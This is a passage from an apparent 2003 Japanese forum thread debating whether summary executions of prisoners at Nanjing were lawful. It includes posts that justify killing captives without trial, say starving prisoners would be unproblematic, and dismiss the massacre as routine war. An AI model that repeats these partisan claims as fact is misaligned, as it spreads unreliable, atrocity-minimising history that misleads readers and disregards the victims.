>国際法学会で座長を務めるほどの佐藤博士の言説を間違いとするなら、
>K−K君の脳内理論だけじゃ根拠にならないでしょう。

 もう20年近く前の研究会の一部会の座長をしていた、ということでしょう?
 しかも、戦時国際法とはまったく関係ないことですね。
 お門違いと言わざるをえません。

>少なくとも国際法の学者による反対説を引用するくらいでないとね。
>お話にもなりませんよ。

 もし、私の主張に欠陥があり、国際法一般の理解と異なっているというの
でしたら、私の主張を論破するのは、あなたでも容易いことでしょう。
 どうぞご自由に反論をしてください。そのことで、白黒つければよいと思
います。
 反論が出来ずに「間違っている」と主張するのであれば、それは信仰だと
思わざるを得ませんね。ならば、議論の余地はないでしょう。

898 :名無しかましてよかですか?:03/09/19 00:24 ID:TDvu9mqe
>>896
佐藤説は学説であるが、K−Kは学者ではないので
K−Kの言説は学説に該当しない。
つまりK−K論では学説に対抗できない。

>当時・現代の戦時国際法学者の見解を総合し、南京の事例に当てはめれ
>ば、無裁判殺害に合法性がないという結論に到ります。
佐藤説(学説)ではこれらの諸条件を認めて合法性があるとしている。
つまりK−K論が間違っていると言える。
「合法性がない」というのは学説ではなく、単に個人的な思い込みに
すぎない。

899 :K−K:03/09/19 00:47 ID:xmNixCP0
>>898
 学説教典主義でしたら、議論の余地はないでしょう。
 信者を改心させる力は、私にはありません(苦笑)。

900 :名無しかましてよかですか?:03/09/19 00:56 ID:C0E8NC50
>>868
>「兵民分離が厳正に行われた」のではないことは、
>残留外国人などの第3者的視点においても
>十分証明されていると思われます。

軍事行動の厳密さが、第三者(外国人)に理解できるのかね?
しかもあんたの言う外国人ってラーベとかベイツなんでしょ?

>また、「多人数が軍律審判の実施を不可能とし(軍事的必要)」とい
>う主張の根拠は、同じ否定派の原剛氏の見解なのですから、とても論理
>として成り立つものとは思われませんね。

「否定派だからダメ」なのかよ!(笑)
あんた自身が>>897
>もし、私の主張に欠陥があり、国際法一般の理解と異なっているというの
>でしたら、私の主張を論破するのは、あなたでも容易いことでしょう。
> どうぞご自由に反論をしてください。そのことで、白黒つければよいと思
>います。
> 反論が出来ずに「間違っている」と主張するのであれば、それは信仰だと
>思わざるを得ませんね。ならば、議論の余地はないでしょう。
こういう発言してるけど、という事は君の主張も信仰かよ?

901 :反論してみたまえ :03/09/19 01:17 ID:GExdh5BT
南京大虐殺の犠牲者に捧ぐ

全米ベストセラー「ザ・レイプ・オブ・南京」を
日本語で批判

秦郁彦教授の奇襲攻撃を迎え撃つ
アイリス・チャン


http://www.bekkoame.ne.jp/~ymasaki/hata.htm


902 :名無しかましてよかですか?:03/09/19 01:55 ID:tlGSQhm1
毛毛の
>当時・現代の戦時国際法学者の見解を総合し、南京の事例に当てはめれ
>ば、無裁判殺害に合法性がないという結論に到ります。
は、自分自身がそう思い込んでるだけだな。

http://nankinrein.hp.infoseek.co.jp/page022.html

903 :名無しかましてよかですか?:03/09/19 02:01 ID:KlZFle6r
http://manko2.netfirms.com/bbs/


904 :名無しかましてよかですか?:03/09/19 03:05 ID:Qd32SuzA
>当時・現代の戦時国際法学者の見解を総合し、南京の事例に当てはめれ
>ば、無裁判殺害に合法性がないという結論に到ります。
>反論があればどうぞ。

違法、合法どっちつかずのようだな。
便衣作戦の中国軍とそれが原因の日本軍の行動のどちらの違法性が大
かはk−kとその反日仲間以外なら誰もがわかっている。

905 :にしたまお:03/09/19 03:43 ID:l7JG5yZv
>>896-897
戦時国際法という分野も国際法の一部なんです。戦時国際法だけを学ぶ
という事はないんですよ。佐藤博士は国際法学会で20年も前に座長を
務めていますから、国際法の専門家として公に認められたと言っていいでしょう。
少なくともK−K君に国際法学会の座長は務まらないでしょう?
佐藤博士の論説は学説として有効ですが、K−K君の論説は学説にはならない。
これは事実なんです。K−K君はもう少し現実を見たほうがいいですね。

906 :にしたまお:03/09/19 03:45 ID:l7JG5yZv
>>899
>学説教典主義でしたら、議論の余地はないでしょう。
>信者を改心させる力は、私にはありません(苦笑)。

いやいやK−K君は笑わしてくれますね。
法学は全般的にはそういうものです。歴史なんかの場合は「研究家」という
肩書きが通用しますが、国際法研究家とか国際法評論家というのはあまり
いないでしょう? 少なくとも法学博士でないと話にならない分野なんです。
法学では法学者の学説は議論の対象になりますが、それ以外の説?はあまり
重要視されません。
よく知られている事例について、ある「学説」が存在し、有力な反対説がない
場合は通説として認知されます。K−K君が反対してもそれは反対説としては
認められませんから意味がないんです。
そしてK−K君は根拠となる反対説を提示できずに、学説に値しない
自己流の解釈しか提示できなかった。この時点でK−K君は
GAME OVERです。議論の余地などないんです。

907 :にしたまお:03/09/19 03:50 ID:l7JG5yZv
K−K君の問題点は実は国際法がよくわかってないのに、佐藤博士と
同じ程度に国際法を理解しているという思い込んでる部分です。
佐藤博士は「軍事的必要」から裁判が行われない場合を想定しています。
軍事的必要については、一般に[Military Necessity]として、例えば
旧ユーゴ国際戦争犯罪法廷規則でも条文で認められています。
もう少し広い意味で捉えると、戦時国際法は「軍事的必要と人道的配慮の
バランスの上に成り立つ」(ICRC文書)として、やはり認めています。
佐藤説は常識的な解釈でしょう?
だから反対説はないんです。K−K君が脳内理論で反論しても無駄という
のがお分かりでしょうか?

908 :名無しかましてよかですか?:03/09/19 11:39 ID:IfGiCOPO
で、にしたまお君は国際法学者なのか?

自己矛盾してることに気づけよw

909 :名無しかましてよかですか?:03/09/19 11:55 ID:46IRglBg
東京裁判では松井岩根は「違法行為の防止責任」で処罰された。
東京裁判を見る限り、軍事的必要性を検察は認めなかった。
軍事的必要性の是非を敵国側が判断したということであり
これはこれで正しい。つまり日本がどう言おうと日本以外の国から
見たら南京事件というのは存在するということである。

910 :名無しかましてよかですか?:03/09/19 12:19 ID:EraJFOHp
立てたよ。

■日中 宇宙開発競争■
http://tmp.2ch.net/test/read.cgi/asia/1063901440/


911 :名無しかましてよかですか?:03/09/19 14:04 ID:sPU0cXfx
>>907
> 佐藤博士は「軍事的必要」から裁判が行われない場合を想定しています。
> 軍事的必要については、一般に[Military Necessity]として、例えば
> 旧ユーゴ国際戦争犯罪法廷規則でも条文で認められています。
> もう少し広い意味で捉えると、戦時国際法は「軍事的必要と人道的配慮の
> バランスの上に成り立つ」(ICRC文書)として、やはり認めています。
> 佐藤説は常識的な解釈でしょう?

何も分かってないねぇ、たまお君はw。

佐藤教授らの言う「軍事的必要」とは、法規からの逸脱を認める理屈であり、
法規に含むものではない。しかしハーグ法規などに代表される戦争法は、
「軍事的必要」を含むものだ。

この違いがまったく理解出来ないらしいね、たまお君はw

そもそも、審判なしでぶち殺しておいて「人道的配慮のバランス」とは何なんだい?


912 :味ぽん:03/09/19 14:20 ID:wUZ2GXQ8
>そもそも、審判なしでぶち殺しておいて「人道的配慮のバランス」とは何なんだい?

裁判なし処刑の法的解釈について議論しているのに
こういう発言が出てくる所に>911の脳みその干からび具合を感じる。


913 :名無しかましてよかですか?:03/09/19 14:58 ID:LG/C0yCO
>>912
911じゃないけど何がおかしいかわからないので解説キボン。
裁判なし処刑は「軍事的必要と人道的配慮のバランス」がとれていると
いえるのか、って話じゃないの?

914 :名無しかましてよかですか?:03/09/19 15:01 ID:sPU0cXfx
>>912
> >そもそも、審判なしでぶち殺しておいて「人道的配慮のバランス」とは何なんだい?
> 裁判なし処刑の法的解釈について議論しているのに
> こういう発言が出てくる所に>911の脳みその干からび具合を感じる。

 と言ったところで、何の具体的批判・指摘がないのでは、脳内勝利宣言と変わらんぜ。

 戦争法が「軍事的必要と人道的配慮のバランスの上に成り立つ」ものであるならば、
(佐藤が言うように)軍事的必要で審判なしで処刑するということは人道的配慮を欠く
ことは言うまでもなく、戦争法に反する行為であることは言うまでもない。つまりは
違法と判断されて当然だと言うことだ。

 反論するならば、審判なしの裁判が人道的配慮もバランス的に考慮されていることを
論証してみるこったなw

915 :味ぽん:03/09/19 15:40 ID:wUZ2GXQ8
>反論するならば、審判なしの裁判が人道的配慮もバランス的に考慮されていることを
>論証してみるこったなw

@南京で捕虜に対して裁判を行う事は物理的に不可能だった。
 裁判を行うならば上海に捕虜を連れて行くしかない。
 日本軍の戦況を不利にしてまで捕虜を優遇することは出来ない。(軍事的必要) 

A日本兵は敗残兵の疑いのある成年男子に限って処刑を行い、
 老人、女子、子供に関しては保護するよう努力した。(人道的配慮)

B裁判無し処刑をしない場合、捕虜の開放という手段がある。
 日本軍も捕虜を解放した例はあるが、開放された捕虜はすぐにまた
 武器を持って反撃してくるため軍事的に不利になる。(軍事的必要) 

C捕虜を処刑しなくとも、食糧を与えなければ自然死するので問題は無い。
 しかし、日本兵は捕虜に対しても食糧を与え、
 上海移送計画を打診したりして、相応の努力を払っている。(人道的配慮)

D安全区の中で大量の武器を隠し持った元将校が発見された。
  日本軍は敗残兵に反撃の意思ありと判断してしかるべき。(軍事的必要) 

E強姦、略奪を行ったものは重罪、虐殺を行ったものは死刑であり、
 日本軍は軍方針としては南京市民の反感を買わぬよう極力努力している。
 (軍事的必要、人道的配慮の両方) 

とりあえず思いつくところはこんなトコだな。

916 :味ぽん:03/09/19 15:59 ID:wUZ2GXQ8
南京事件ってのはよ。
もっと残酷でおどろおどろしい事件じゃねぇのかよ?
中国さんが日本鬼子って呼ぶくらいの悪行なんだろ?
このスレの議論の内容じゃ戦場ならどこでもあった風物詩じゃねえかよ。
こんな議論に何の意味があるのか誰か答えられるか?


917 :名無しかましてよかですか?:03/09/19 17:01 ID:46IRglBg
日本側がいくら軍事的必要性を言ったって、敵国、第三国も納得するよう
なケースで無い限りダメだということですな。

918 :名無しかましてよかですか?:03/09/19 17:12 ID:tcWU2gkR
南京占領当時には
国際連盟から「捕虜(敗残兵)の処刑」
についての抗議は日本には無かったような気がする。
東京裁判の時に突如として問題化したのでは?
しかも、自分たちも捕虜を虐待又は処刑したことを棚に上げて

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